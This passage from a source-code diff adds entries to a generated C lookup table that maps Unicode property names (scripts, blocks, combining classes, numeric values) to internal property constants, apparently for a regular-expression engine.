+  {     0,  2787,     0,  18,   0, PL_CHEROKEESUP }   /* cherokeesupplement */,
+  {     0,  3129,  8352,  17,   4, PL_KHMR }   /* scriptextensions=khmr */,
+  {     0,  7478,  1393,   3,   8, PL_CS }   /* issurrogate */,
+  {     0,  7478,  8525,   3,   3, PL_SHRD }   /* isshrd */,
+  {     0,   974,  8740,  27,   2, PL_CCC__25 }   /* canonicalcombiningclass=ccc25 */,
+  {     0,  7288,  7492,   7,   7, PL_SC__KNDA }   /* script=kannada */,
+  {   275,   184,  1797,   2,  15, PL_MODIFIERLETTERS }   /* ismodifierletters */,
+  {    11,  8819,     0,   3,   0, PL_OCR }   /* ocr */,
+  {     1,  7248,     0,   4,   0, PL_JAVA }   /* java */,
+  {     1,  8568,     0,   4,   0, PL_VAI }   /* vaii */,
+  {     4,  6890,    42,   4,   9, PL_CJKCOMPAT }   /* blk=cjkcompat */,
+  {     5,  7459,   954,   3,   5, PL_SC__GREK }   /* sc=greek */,
+  {     0,  2108,  1568,   4,  21, PL_COMPATJAMO }   /* inhangulcompatibilityjamo */,
+  {     0,  7459,  6439,   3,  11, PL_SC__SYLO }   /* sc=sylotinagri */,
+  {     0,  6210,   631,   3,  29, PL_CJKEXTE }   /* incjkunifiedideographsextensione */,
+  {     2,  6890,  6241,   4,  11, PL_KATAKANAEXT }   /* blk=katakanaext */,
+  {     3,  7689,   921,   3,  26, PL_ALPHABETICPF }   /* isalphabeticpresentationforms */,
+  {     2,  4314,  4963,  13,   4, PL_JG__HETH }   /* joininggroup=heth */,
+  {     5,  5544,  7738,  13,   6, PL_NV__600000 }   /* numericvalue=600000 */,
+  {     1,  8572,  1083,   3,   2, PL_LB__LF }   /* wb=lf */,
+  {     2,  7459,  7208,   3,   4, PL_SC__HIRA }   /* sc=hira */,
+  {    34,  7459,  8480,   3,   4, PL_SC__QAAI }   /* sc=qaai */,
+  {     3,  6890,   849,   4,  14, PL_PUA }   /* blk=privateusearea */,
+  {    65,  7136,    78,   6,  10, PL_ARABICMATH }   /* block=arabicmath */,
+  {     1,  8340,  5505,   3,  13, PL_JG__MANICHAEANTEN }   /* jg=manichaeanten */,
+  {    16,  1503,  1002,   3,  26, PL_ENCLOSEDCJK }   /* inenclosedcjklettersandmonths */,
+  {    13,   974,  8691,  24,   2, PL_CCC__28 }   /* canonicalcombiningclass=28 */,
+  {     0,  1184,  7768,  25,   6, -PL_DI }   /* defaultignorablecodepoint=false */,
+  {     6,  8504,  1083,   3,   2, PL_LB__LF }   /* sb=lf */,
+  {     3,  8777,  3581,   3,   2, PL_CWL }   /* cwl=t */,
+  {     1,  2134,     0,   3,   0, PL_XPOSIXXDIGIT }   /* hex */,
+  {     8,  3129,  8412,  17,   4, PL_MTEI }   /* scriptextensions=mtei */,
+  {     6,  8196,  8873,   4,   3, PL_AGE__6 }   /* age=v60 */,
+  {     0,   184,    43,   3,   2, PL_CJK }   /* iscjk */,
+  {     0,  8096,  8116,   4,   5, PL_TAML }   /* scx=tamil */,
+  {     0,  3946,  7951,  16,   5, PL_STERM }   /* sentenceterminal=true */,
+  {     0,  7136,  7653,   6,   7, PL_INTIBETAN }   /* block=tibetan */,
+  {     0,  2841,     0,   4,   0, PL_COPT }   /* copt */,
+  {     8,  4284,  4584,  14,  15, PL_LB__H2 }   /* hangulsyllabletype=lvsyllable */,
+  {     0,  1402,  2349,  24,   3, PL_INPC__TOP }   /* indicpositionalcategory=top */,
+  {     1,  2859,  5488,  18,   4, PL_DT__NONE }   /* decompositiontype=none */,
+  {     0,   184,    47,   2,   1, PL_M }   /* ism */,
+  {     0,  6890,  2949,   4,  18, PL_INPUNCTUATION }   /* blk=generalpunctuation */,
+  {     0,  6890,   954,   4,   5, PL_INGREEK }   /* blk=greek */,
+  {     0,   974,  2777,  24,  10, PL_CCC__AR }   /* canonicalcombiningclass=aboveright */,
+  {    17,  7288,  6439,   7,   4, PL_SC__SYLO }   /* script=sylo */,
+  {     0,  4542,  1813,   3,  21, PL_TRANSPORTANDMAP }   /* istransportandmapsymbols */,
+  {    36,  7380,  8643,   4,   2, PL_CCC__22 }   /* ccc=22 */,
+  {    65,  8016,  8935,   4,   2, PL_GCB__XX }   /* gcb=xx */,
+  {   323,  6890,  2787,   4,   8, PL_INCHEROKEE }   /* blk=cherokee */,
+  {     0,  5544,  7756,  13,   5, PL_NV__90000 }   /* numericvalue=90000 */,
+  {    24,  6706,  8708,  10,   3, PL_IN__3 }   /* presentin=3.0 */,
+  {     0,  5134,  7503,   3,   3, PL_PHLI }   /* isphli */,
+  {     0,  3271,     0,  17,   0, PL_UCAS }   /* canadiansyllabics */,
+  {   128,  4554,  1074,  14,   2, PL_SB__ST }   /* sentencebreak=st */,
+  {     1,  8240,  8792,   3,   3, PL_BC__FSI }   /* bc=fsi */,
+  {   206,  4198,  1545,   4,  13, PL_GEOMETRICSHAPES }   /* ingeometricshapes */,
+  {     0,  5645,  8792,  10,   3, PL_BC__FSI }   /* bidiclass=fsi */,
+  {   384,  7288,  7870,   7,   6, PL_LEPC }   /* script=lepcha */,
+  {    35,  1448,  2743,   5,   7, PL_SUPARROWSC }   /* insuparrowsc */,
+  {     0,  8096,  8452,   4,   4, PL_ORYA }   /* scx=orya */,
+  {     0,  1426,  2209,  22,  20, PL_INSC__CONSONANTWITHSTACKER }   /* indicsyllabiccategory=consonantwithstacker */,
+  {     0,  8096,  2107,   4,   7, PL_SINH }   /* scx=sinhala */,
+  {   109,  7136,    42,   6,   9, PL_CJKCOMPAT }   /* block=cjkcompat */,
+  {     2,  6890,  6406,   4,  11, PL_INSORASOMPENG }   /* blk=sorasompeng */,
+  {     1,  8816,  5219,   3,   9, PL_NV__100000000 }   /* nv=100000000 */,
+  {     0,   720,     0,  16,   0, PL_ENCLOSEDALPHANUM }   /* enclosedalphanum */,
+  {     1,    11,     0,   2,   0, PL_DI }   /* di */,
+  {     1,    58,  7997,   4,   4, PL_IDEO }   /* ideo=yes */,
+  {    16,  7459,   690,   3,   9, PL_XSUX }   /* sc=cuneiform */,
+  {     1,  1701,  7997,   2,   4, PL_SD }   /* sd=yes */,
+  {     0,  7288,  8260,   7,   4, PL_SC__CAKM }   /* script=cakm */,
+  {     7,   184,  3754,   2,   7, PL_LINB }   /* islinearb */,
+  {     0,   184,  2895,   2,   4, PL_ETHI }   /* isethi */,
+  {     0,  2859,  8576,  18,   4, PL_EA__F }   /* decompositiontype=wide */,
+  {     1,  6890,  5232,   4,  13, PL_AEGEANNUMBERS }   /* blk=aegeannumbers */,
+  {     0,  7380,  3743,   4,   1, PL_CCC__1 }   /* ccc=1 */,
+  {     0,  1417,   966,   9,   2, PL_NO }   /* category=no */,
+  {     4,  7136,  6953,   6,   9, PL_LATINEXTD }   /* block=latinextd */,
+  {   243,  1184,  3223,  25,   3, -PL_DI }   /* defaultignorablecodepoint=no */,
+  {     0,  7478,     0,   3,   0, PL_S }   /* iss */,
+  {     0,   184,  2636,   2,  19, PL_MONGOLIANSUP }   /* ismongoliansupplement */,
+  {     0,  7527,     0,   7,   0, PL_MULT }   /* multani */,
+  {     4,    21,  7876,   2,   6, PL_INLYCIAN }   /* inlycian */,
+  {     3,  8096,  8111,   4,   4, PL_TAKR }   /* scx=takr */,
+  {     0,  7344,  7951,   8,   5, PL_XIDS }   /* xidstart=true */,
+  {     4,  7288,  7129,   8,   7, PL_BASS }   /* script=bassavah */,
+  {     0,  2859,    68,  18,   3, PL_DT__SUP }   /* decompositiontype=sup */,
+  {    74,  7696,  7997,   6,   4, PL_XPOSIXSPACE }   /* wspace=yes */,
+  {     1,  8376,  6899,   3,   9, PL_LB__B2 }   /* lb=breakboth */,
+  {     2,  2787,     0,   8,   0, PL_CHER }   /* cherokee */,
+  {    85,  1746,  7160,  21,   8, PL_WB__EBG }   /* graphemeclusterbreak=ebasegaz */,
+  {     1,  8096,  7145,   5,   7, PL_BUGI }   /* scx=buginese */,
+  {   160,  7136,  5825,   6,  12, PL_MAHJONG }   /* block=mahjongtiles */,
+  {     0,    18,  3581,   2,   2, PL_RI }   /* ri=t */,
+  {     0,  1448,  2696,   5,  16, PL_SUPARROWSA }   /* insupplementalarrowsa */,
+  {     0,  7136,  3738,   6,   9, PL_LATIN1 }   /* block=latin1sup */,
+  {   105,  8816,  7738,   3,   5, PL_NV__60000 }   /* nv=60000 */,
+  {    31,  8096,  7912,   4,   6, PL_TELU }   /* scx=telugu */,
+  {    49,  3129,  2484,  17,   4, PL_EGYP }   /* scriptextensions=egyp */,
+  {   100,  7478,  1794,   6,  18, PL_MODIFIERLETTERS }   /* isspacingmodifierletters */,
+  {    18,   349,     0,  33,   0, PL_SUPMATHOPERATORS }   /* supplementalmathematicaloperators */,
+  {    42,  8786,  4127,   3,   7, PL_EA__N }   /* ea=neutral */,
+  {    71,  4063,  2879,   4,  16, PL_DEVANAGARIEXT }   /* indevanagariextended */,
+  {     0,  8046,     0,   4,   0, PL_LIMB }   /* limb */,
+  {     0,  7288,  7876,   7,   6, PL_LYCI }   /* script=lycian */,
+  {     0,  4923,  3967,   4,  11, PL_MATHOPERATORS }   /* inmathoperators */,
+  {     0,  8816,  7727,   3,   2, PL_NV__32 }   /* nv=32 */,
+  {     0,  7618,     0,   7,   0, PL_SUPPUAA }   /* suppuaa */,
+  {     3,    21,  1585,   2,   4, PL_JAMO }   /* injamo */,
+  {    12,  8096,  8472,   4,   4, PL_PRTI }   /* scx=prti */,
+  {     0,  7136,  1001,   6,  11, PL_ENCLOSEDCJK }   /* block=enclosedcjk */,
+  {     1,  5375,     0,  12,   1, PL_JT__U }   /* joiningtype=u */,
+  {     1,  5134,  7584,   3,   6, PL_PHAG }   /* isphagspa */,
+  {   106,  2895,     0,  18,   0, PL_ETHIOPICSUP }   /* ethiopicsupplement */,
+  {     0,  3441,     0,  17,   0, PL_LETTERLIKESYMBOLS }   /* letterlikesymbols */,
+  {     0,  7380,  8645,   4,   3, PL_CCC__129 }   /* ccc=129 */,
+  {     0,  7696,  7951,   6,   5, PL_XPOSIXSPACE }   /* wspace=true */,
+  {     0,  8376,  3526,   3,  17, PL_RI }   /* lb=regionalindicator */,
+  {   128,  3129,  8252,  17,   4, PL_BUHD }   /* scriptextensions=buhd */,
+  {     2,  7136,  7296,   6,   8, PL_SPECIALS }   /* block=specials */,
+  {     0,  8376,  5763,   3,   2, PL_LB__WJ }   /* lb=wj */,
+  {     2,  7459,  6696,   3,  10, PL_PHNX }   /* sc=phoenician */,
+  {     0,  6713,  8708,   3,   3, PL_IN__3 }   /* in=3.0 */,
+  {     0,  4827,     0,  14,   0, PL_KANGXI }   /* kangxiradicals */,
+  {    49,  8816,  8744,   3,   3, PL_NV__5_SLASH_8 }   /* nv=5/8 */,
+  {     0,  7136,  6786,   6,  10, PL_SUPARROWSC }   /* block=suparrowsc */,
+  {   129,  2859,  1224,  18,   3, PL_DT__SUB }   /* decompositiontype=sub */,
+  {     0,  8096,  2249,   4,   4, PL_GLAG }   /* scx=glag */,
+  {     0,  1746,  7165,  21,   3, PL_WB__GAZ }   /* graphemeclusterbreak=gaz */,
+  {     0,  2023,  3223,  21,   3, -PL_LOE }   /* logicalorderexception=no */,
+  {   102,  3129,  7569,  17,   7, PL_OSMA }   /* scriptextensions=osmanya */,
+  {    12,  1012,     0,   6,   0, PL_L }   /* letter */,
+  {     0,  7478,    47,   3,   1, PL_SM }   /* issm */,
+  {    15,  6890,   802,   4,   6, PL_ARROWS }   /* blk=arrows */,
+  {   219,  2895,     0,  11,   0, PL_ETHIOPICSUP }   /* ethiopicsup */,
+  {     0,  8096,  7786,   4,   6, PL_CAKM }   /* scx=chakma */,
+  {     3,  6890,  2465,   4,  11, PL_COUNTINGROD }   /* blk=countingrod */,
+  {     1,  8036,     3,   5,  31, PL_UCAS }   /* isunifiedcanadianaboriginalsyllabics */,
+  {     0,  7689,  7360,   3,   6, PL_AVST }   /* isavestan */,
+  {     1,   974,  7941,  24,   2, PL_CCC__11 }   /* canonicalcombiningclass=11 */,
+  {     0,  8572,  7160,   3,   8, PL_WB__EBG }   /* wb=ebasegaz */,
+  {     1,  7136,  6989,   6,   9, PL_INNEWTAILUE }   /* block=newtailue */,
+  {    33,  8504,    24,   4,   1, PL_SB__CL }   /* sb=cl */,
+  {     1,  6890,  7527,   4,   7, PL_INMULTANI }   /* blk=multani */,
+  {     1,  6263,  6175,  10,  11, PL_LB__EX }   /* linebreak=exclamation */,
+  {     0,  8096,   494,   4,   3, PL_HAN }   /* scx=han */,
+  {     0,  6713,  8738,   3,   3, PL_IN__5_DOT_2 }   /* in=5.2 */,
+  {   217,  6616,  7768,  10,   2, -PL_DEP }   /* deprecated=f */,
+  {     1,  6890,  8061,   4,   5, PL_INOGHAM }   /* blk=ogham */,
+  {    44,   184,   511,   3,  29, PL_CJKEXTA }   /* iscjkunifiedideographsextensiona */,
+  {     7,  7380,  8684,   4,   3, PL_CCC__L }   /* ccc=224 */,
+  {   257,  7436,     0,   4,   0, PL_ELBA }   /* elba */,
+  {    28,  7459,  8568,   3,   3, PL_VAI }   /* sc=vai */,
+  {     0,  5645,  5413,  10,   3, PL_BC__RLO }   /* bidiclass=rlo */,
+  {     0,  7288,  8428,   7,   4, PL_NEWA }   /* script=newa */,
+  {     0,  2221,  3145,   3,   2, PL_GCB__V }   /* hst=v */,
+  {   432,  6890,  1812,   4,  15, PL_TRANSPORTANDMAP }   /* blk=transportandmap */,
+  {     0,  7288,  8208,   7,   4, PL_AHOM }   /* script=ahom */,
+  {     0,  3129,  8066,  17,   5, PL_ORYA }   /* scriptextensions=oriya */,
+  {     0,   184,  6935,   2,   9, PL_LATINEXTB }   /* islatinextb */,
+  {     2,  6890,  1585,   4,   4, PL_JAMO }   /* blk=jamo */,
+  {     0,  8096,  4644,   4,  15, PL_ZANB }   /* scx=zanabazarsquare */,
+  {     1,  5192,  7346,   3,   6, PL_IDS }   /* isidstart */,
+  {     1,  3373,     9,  15,   2, PL_EA__NA }   /* eastasianwidth=na */,
+  {     6,  7380,  8654,   4,   3, PL_CCC__133 }   /* ccc=133 */,
+  {     0,  7459,  1797,   3,   4, PL_SC__MODI }   /* sc=modi */,
+  {   133,  3129,  7681,  17,   7, PL_ZZZZ }   /* scriptextensions=unknown */,
+  {     9,   184,  4134,   2,   4, PL_BRAI }   /* isbrai */,
+  {   264,  6890,  1282,   4,  10, PL_CJKSYMBOLS }   /* blk=cjksymbols */,
+  {    33,  1426,  4058,  22,   5, PL_INSC__VOWEL }   /* indicsyllabiccategory=vowel */,
+  {    21,   184,  5253,   2,   5, PL_XPOSIXDIGIT }   /* isdigit */,
+  {    18,   184,  6646,   2,  10, PL_MISCARROWS }   /* ismiscarrows */,
+  {    58,  7136,  5260,   8,  11, PL_BLOCKELEMENTS }   /* block=blockelements */,
+  {     8,  2750,  3581,   4,   2, PL_TERM }   /* term=t */,
+  {     7,  7136,  7520,   6,   7, PL_INMARCHEN }   /* block=marchen */,
+  {     1,  7136,  1702,   6,  22, PL_DIACRITICALSFORSYMBOLS }   /* block=diacriticalsforsymbols */,
+  {     0,  6890,  7520,   4,   7, PL_INMARCHEN }   /* blk=marchen */,
+  {     0,  6616,  3581,  10,   2, PL_DEP }   /* deprecated=t */,
+  {     0,  7828,     0,   6,   0, PL_HYPHEN }   /* hyphen */,
+  {     0,  8822,  7997,   3,   2, PL_PCM }   /* pcm=y */,
+  {     1,  6554,  7129,   3,   7, PL_INBASSAVAH }   /* inbassavah */,
+  {    33,  3129,  6917,  17,   9, PL_QAAI }   /* scriptextensions=inherited */,
+  {     0,  8504,   723,   4,   4, PL_SB__CL }   /* sb=close */,
+  {   258,  1417,   698,   9,   2, PL_MN }   /* category=mn */,
+  {     4,  6109,  8002,  10,   4, PL_XPOSIXCNTRL }   /* category=cntrl */,
+  {     1,  6890,   892,   4,  28, PL_VSSUP }   /* blk=variationselectorssupplement */,
+  {     1,  7457,  2823,   5,  18, PL_INSC__CONSONANTSUBJOINED }   /* insc=consonantsubjoined */,
+  {     0,  8816,  8180,   3,   4, PL_NV__3_SLASH_80 }   /* nv=3/80 */,
+  {    50,  6626,     0,   4,   0, PL_KHAR }   /* khar */,
+  {     0,  3129,  7506,  17,   7, PL_LINA }   /* scriptextensions=lineara */,
+  {     0,  2985,  3581,   3,   2, PL_IDS }   /* ids=t */,
+  {     0,  7380,  8693,   4,   3, PL_CCC__A }   /* ccc=230 */,
+  {     7,  8816,  7702,   3,   4, PL_NV__2000 }   /* nv=2000 */,
+  {     2,  6472,     0,   4,   0, PL_XPOSIXWORD }   /* word */,
+  {     0,   184,  8364,   2,   4, PL_LANA }   /* islana */,
+  {     0,  7288,  7681,   7,   7, PL_ZZZZ }   /* script=unknown */,
+  {     1,  7459,  8440,   3,   4, PL_OGAM }   /* sc=ogam */,
+  {    11,  5645,  3223,   5,   2, -PL_BIDIC }   /* bidic=n */,
+  {     1,  7471,    62,   7,   5, PL_POSIXGRAPH }   /* isposixgraph */,
+  {     0,  6483,  7997,   4,   2, PL_XIDC }   /* xidc=y */,
+  {     7,   184,   750,   2,  29, PL_ENCLOSEDIDEOGRAPHICSUP }   /* isenclosedideographicsupplement */,
+  {     0,  2990,    29,   4,   4, PL_INARABIC }   /* inarabic */,
+  {    56,  1448,   867,   5,  25, PL_SUPPUAB }   /* insupplementaryprivateuseareab */,
+  {    10,   184,  1283,   3,  23, PL_CJKSYMBOLS }   /* iscjksymbolsandpunctuation */,
+  {     2,  7288,  7527,   7,   7, PL_SC__MULT }   /* script=multani */,
+  {     2,  6472,   138,  10,   2, PL_WB__FO }   /* wordbreak=fo */,
+  {     7,  7288,  6926,   7,   9, PL_SC__SIND }   /* script=khudawadi */,
+  {   128,  6263,    42,  10,   2, PL_LB__CJ }   /* linebreak=cj */,
+  {    37,    11,  7997,   3,   2, PL_DIA }   /* dia=y */,
+  {     2,  4314,  4953,  13,  14, PL_JG__MANICHAEANHETH }   /* joininggroup=manichaeanheth */,
+  {     2,  8096,  7208,   4,   4, PL_HIRA }   /* scx=hira */,
+  {     6,  3129,  7120,  17,   8, PL_BALI }   /* scriptextensions=balinese */,
+  {     1,  7227,   468,   5,   5, PL_POSIXPUNCT }   /* posixpunct */,
+  {     3,   184,  2877,   2,   4, PL_DEVA }   /* isdeva */,
+  {    27,  7136,  1939,   6,  21, PL_CJKCOMPATFORMS }   /* block=cjkcompatibilityforms */,
+  {     0,  8332,  7592,   4,   5, PL_INSHARADA }   /* insharada */,
+  {     2,  6626,     0,  10,   0, PL_KHAR }   /* kharoshthi */,
+  {     0,  8096,  6736,   4,   4, PL_SAUR }   /* scx=saur */,
+  {     1,  7288,  8404,   7,   4, PL_SC__MLYM }   /* script=mlym */,
+  {     0,  1897,  3581,  21,   2, PL_CWT }   /* changeswhentitlecased=t */,
+  {     1,  5645,  3223,   5,   3, -PL_BIDIC }   /* bidic=no */,
+  {     1,  8376,    23,   3,   2, PL_LB__AL }   /* lb=al */,
+  {     0,  1918,  3223,  21,   2, -PL_CWU }   /* changeswhenuppercased=n */,
+  {     1,  3129,  7366,  17,   4, PL_BENG }   /* scriptextensions=beng */,
+  {    12,  2229,  3854,  16,  10, PL_SM }   /* generalcategory=mathsymbol */,
+  {     0,    21,  3754,   2,  16, PL_LINEARBIDEOGRAMS }   /* inlinearbideograms */,
+  {     8,  6221,  2843,   4,  16, PL_COPTICEPACTNUMBERS }   /* incopticepactnumbers */,
+  {    38,  8026,  2355,   5,  14, PL_INPC__BOTTOMANDRIGHT }   /* inpc=bottomandright */,
+  {     1,  7971,     0,   5,   0, PL_BATK }   /* batak */,
+  {    89,  8816,  8740,   3,   2, PL_NV__25 }   /* nv=25 */,
+  {     0,  7288,  2269,   7,  20, PL_PHLI }   /* script=inscriptionalpahlavi */,
+  {     0,  6210,  1961,   3,  13, PL_CJKRADICALSSUP }   /* incjkradicalssup */,
+  {     0,  7288,  8066,   7,   5, PL_SC__ORYA }   /* script=oriya */,
+  {    72,  7136,  7822,   6,   6, PL_INHATRAN }   /* block=hatran */,
+  {     2,  7288,  7248,   7,   8, PL_SC__JAVA }   /* script=javanese */,
+  {    98,  7380,  8164,   7,   2, PL_CCC__15 }   /* ccc=ccc15 */,
+  {     2,  6890,  3882,   4,   7, PL_INMYANMAR }   /* blk=myanmar */,
+  {    27,  1426,  7924,  22,   6, PL_INSC__VIRAMA }   /* indicsyllabiccategory=virama */,
+  {     6,   184,    62,   2,   5, PL_XPOSIXGRAPH }   /* isgraph */,
+  {     0,  1960,     0,  14,   0, PL_CJKRADICALSSUP }   /* cjkradicalssup */,
+  {   322,  4813,     0,  14,   0, PL_KANASUP }   /* kanasupplement */,
+  {     4,  6263,  8935,  10,   2, PL_LB__XX }   /* linebreak=xx */,
+  {     0,  6890,  7499,   4,   7, PL_KALI }   /* blk=kayahli */,
+  {     1,  5051,  7996,   5,   3, PL_DT__NONE }   /* nfkdqc=y */,
+  {     0,   974,  8654,  24,   3, PL_CCC__133 }   /* canonicalcombiningclass=133 */,
+  {   594,  7478,  6737,   3,   3, PL_SAUR }   /* issaur */,
+  {     0,  6713,  8723,   3,   3, PL_IN__4 }   /* in=4.0 */,
+  {     1,  7380,  8642,   7,   3, PL_CCC__122 }   /* ccc=ccc122 */,
+  {     2,  6826,     0,  10,   0, PL_YIRADICALS }   /* yiradicals */,
+  {     4,  7459,  8568,   3,   4, PL_VAI }   /* sc=vaii */,
+  {     0,  8106,     0,   5,   0, PL_TALE }   /* taile */,
+  {     2,  7136,  7646,   6,   7, PL_INTAIVIET }   /* block=taiviet */,
+  {   109,  1417,  1027,   9,   2, PL_SO }   /* category=so */,
+  {     5,  2229,     7,  17,   1, PL_L_AMP_ }   /* generalcategory=lc */,
+  {     1,  7136,  7555,   6,   7, PL_OLCK }   /* block=olchiki */,
+  {     6,  4314,  5518,  13,  13, PL_JG__MANICHAEANWAW }   /* joininggroup=manichaeanwaw */,
+  {     0,  3129,  5825,  17,   4, PL_MAHJ }   /* scriptextensions=mahj */,
+  {   521,  4590,  7951,   2,   5, PL_VS }   /* vs=true */,
+  {     3,   699,     0,   6,   0, PL_N }   /* number */,
+  {     0,  8016,   852,   4,   1, PL_GCB__V }   /* gcb=v */,
+  {     0,  3521,  3223,   5,   2, -PL_XPOSIXSPACE }   /* space=n */,
+  {     3,  2985,  3223,  18,   2, -PL_IDST }   /* idstrinaryoperator=n */,
+  {     1,  8786,  6845,   3,   9, PL_EA__A }   /* ea=ambiguous */,
+  {     0,  3129,  1160,  17,   4, PL_HANG }   /* scriptextensions=hang */,
+  {    77,  7459,  6919,   5,   7, PL_SC__QAAI }   /* sc=inherited */,
+  {     0,  1897,  7768,  21,   2, -PL_CWT }   /* changeswhentitlecased=f */,
+  {   124,  6613,  2542,   3,   9, PL_JAMO }   /* ishanguljamo */,
+  {     2,  8798,  7997,   3,   4, PL_LOE }   /* loe=yes */,
+  {     0,   974,  8636,  27,   3, PL_CCC__107 }   /* canonicalcombiningclass=ccc107 */,
+  {   258,  3129,  8472,  17,   4, PL_PRTI }   /* scriptextensions=prti */,
+  {   226,  8016,   295,   4,   2, PL_GCB__SM }   /* gcb=sm */,
+  {    66,  4239,  7768,   4,   6, -PL_DASH }   /* dash=false */,
+  {     1,  8816,  8624,   3,   3, PL_NV__1_SLASH_7 }   /* nv=1/7 */,
+  {   128,  4314,  2427,  13,  19, PL_JG__BURUSHASKIYEHBARREE }   /* joininggroup=burushaskiyehbarree */,
+  {    85,  1855,  7951,  21,   5, PL_CWCM }   /* changeswhencasemapped=true */,
+  {     3,  1887,  3581,   9,   2, PL_XPOSIXLOWER }   /* lowercase=t */,
+  {    30,  6706,  7710,  10,   1, PL_IN__6 }   /* presentin=6 */,
+  {     0,  5645,  2329,  10,  20, PL_BC__RLE }   /* bidiclass=righttoleftembedding */,
+  {     0,  5544,  8740,  13,   2, PL_NV__25 }   /* numericvalue=25 */,
+  {     0,  8021,  7997,   5,   4, PL_GREXT }   /* grext=yes */,
+  {     0,  8196,  8888,   4,   3, PL_AGE__8 }   /* age=v80 */,
+  {     2,  8096,  7007,   4,   9, PL_ITAL }   /* scx=olditalic */,
+  {     0,  8096,  8380,   4,   4, PL_LINA }   /* scx=lina */,
+  {    20,  1184,  7997,  25,   2, PL_DI }   /* defaultignorablecodepoint=y */,
+  {     2,  2990,  1260,   4,  22, PL_ARABICPFB }   /* inarabicpresentationformsb */,
+  {     1,  7457,  2408,   5,  19, PL_INSC__BRAHMIJOININGNUMBER }   /* insc=brahmijoiningnumber */,
+  {   256,   184,  2806,   3,  17, PL_HALFMARKS }   /* iscombininghalfmarks */,
+  {   259,  6263,  3985,  10,   9, PL_LB__EM }   /* linebreak=emodifier */,
+  {   408,   184,  3067,   2,   8, PL_DINGBATS }   /* isdingbats */,
+  {    18,  7136,  5705,   6,  12, PL_CYRILLICEXTC }   /* block=cyrillicextc */,
+  {   152,  6756,     0,  10,   0, PL_SD }   /* softdotted */,
+  {     0,  2229,    74,  16,   2, PL_ME }   /* generalcategory=me */,
+  {    16,  7288,  7016,   7,   9, PL_SC__PERM }   /* script=oldpermic */,
+  {   384,  4554,  3914,  14,   5, PL_SB__XX }   /* sentencebreak=other */,
+  {     2,  2859,  3003,  18,   4, PL_DT__INIT }   /* decompositiontype=init */,
+  {     0,  6210,  7402,   3,   6, PL_CJKEXTC }   /* incjkextc */,
+  {   283,  5583,  3223,  13,   2, -PL_QMARK }   /* quotationmark=n */,
+  {     1,   974,  7714,  24,   2, PL_CCC__30 }   /* canonicalcombiningclass=30 */,
+  {   152,  7459,  8308,   3,   4, PL_SC__GURU }   /* sc=guru */,
+  {    58,    38,     0,   2,   0, PL_XPOSIXDIGIT }   /* nd */,
+  {    92,  2229,   468,  16,  11, PL_P }   /* generalcategory=punctuation */,
+  {    15,  7288,  7611,   7,   7, PL_SOYO }   /* script=soyombo */,
+  {    78,  4590,  3223,   2,   2, -PL_VS }   /* vs=n */,
+  {     0,  8096,  8232,   4,   4, PL_AVST }   /* scx=avst */,
+  {   150,  3129,  6406,  17,   4, PL_SORA }   /* scriptextensions=sora */,
+  {    30,   184,  4688,   3,  13, PL_CJKCOMPATFORMS }   /* iscjkcompatforms */,
+  {     0,  8816,  8630,   3,   3, PL_NV__1_SLASH_9 }   /* nv=1/9 */,
+  {     1,  6890,   750,   4,  29, PL_ENCLOSEDIDEOGRAPHICSUP }   /* blk=enclosedideographicsupplement */,
+  {     2,  2229,  6362,  16,  11, PL_SO }   /* generalcategory=othersymbol */,
+  {    32,  8364,     0,   4,   0, PL_LANA }   /* lana */,
+  {     0,  2221,  3581,   3,  13, PL_GCB__T }   /* hst=trailingjamo */,
+  {    49,  6472,    24,  11,   1, PL_WB__NL }   /* wordbreak=nl */,
+  {    40,   513,  3581,  16,   2, PL_UIDEO }   /* unifiedideograph=t */,
+  {     0,  6890,  3770,   4,  16, PL_LINEARBSYLLABARY }   /* blk=linearbsyllabary */,
+  {     2,  2990,  3596,   4,   7, PL_ARABICSUP }   /* inarabicsup */,
+  {     8,  3946,  3223,  16,   2, -PL_STERM }   /* sentenceterminal=n */,
+  {     2,    21,  5801,   2,   5, PL_INKHMER }   /* inkhmer */,
+  {     1,  2859,  2100,  18,   3, PL_DT__ISO }   /* decompositiontype=iso */,
+  {     0,    18,  7997,   2,   4, PL_RI }   /* ri=yes */,
+  {     2,  8376,   929,   3,   2, PL_LB__CP }   /* lb=cp */,
+  {     0,  7459,  8324,   3,   4, PL_HMNG }   /* sc=hmng */,
+  {     1,  6263,  5583,  10,   9, PL_LB__QU }   /* linebreak=quotation */,
+  {    21,  7288,  7876,   7,   4, PL_LYCI }   /* script=lyci */,
+  {     0,  4314,  7079,  13,   9, PL_JG__SYRIACWAW }   /* joininggroup=syriacwaw */,
+  {     0,   513,  7768,  16,   2, -PL_UIDEO }   /* unifiedideograph=f */,
+  {     0,  7394,     0,   7,   0, PL_CJKEXTB }   /* cjkextb */,
+  {     0,  7471,  1887,   7,   5, PL_POSIXLOWER }   /* isposixlower */,
+  {     2,  7611,     0,   7,   0, PL_SOYO }   /* soyombo */,
+  {     0,   184,  2967,   2,  18, PL_GEORGIANSUP }   /* isgeorgiansupplement */,
+  {     1,  8822,  7951,   3,   5, PL_PCM }   /* pcm=true */,
+  {    65,  3390,     0,  16,   0, PL_ETHIOPICEXT }   /* ethiopicextended */,
+  {     0,  8096,  4105,   5,   4, PL_BAMU }   /* scx=bamum */,
+  {     0,   184,  6472,   2,   4, PL_XPOSIXWORD }   /* isword */,
+  {     0,  7136,  8071,   6,   5, PL_INOSAGE }   /* block=osage */,
+  {    16,  6890,  1981,   4,   8, PL_INCYRILLIC }   /* blk=cyrillic */,
+  {    67,  2229,   849,  16,  10, PL_CO }   /* generalcategory=privateuse */,
+  {    46,  6953,     0,   9,   0, PL_LATINEXTD }   /* latinextd */,
+  {    35,    21,  6505,   2,  11, PL_YISYLLABLES }   /* inyisyllables */,
+  {     0,  8340,  5909,   3,  12, PL_JG__MALAYALAMTTA }   /* jg=malayalamtta */,
+  {     0,  3129,  7858,  17,   6, PL_KHOJ }   /* scriptextensions=khojki */,
+  {    32,  6210,  2788,   3,  17, PL_CHEROKEESUP }   /* incherokeesupplement */,
+  {     0,  1929,     0,   5,   0, PL_XPOSIXUPPER }   /* upper */,
+  {     0,  6890,  7200,   4,   8, PL_INGURMUKHI }   /* blk=gurmukhi */,
+  {     0,  8096,  7956,   4,   5, PL_ADLM }   /* scx=adlam */,
+  {     0,  8340,  8592,   3,   4, PL_JG__ZAIN }   /* jg=zain */,
+  {     0,  8544,     0,   4,   0, PL_TAVT }   /* tavt */,
+  {    41,  4402,  6319,   3,  10, PL_MYANMAREXTB }   /* inmyanmarextb */,
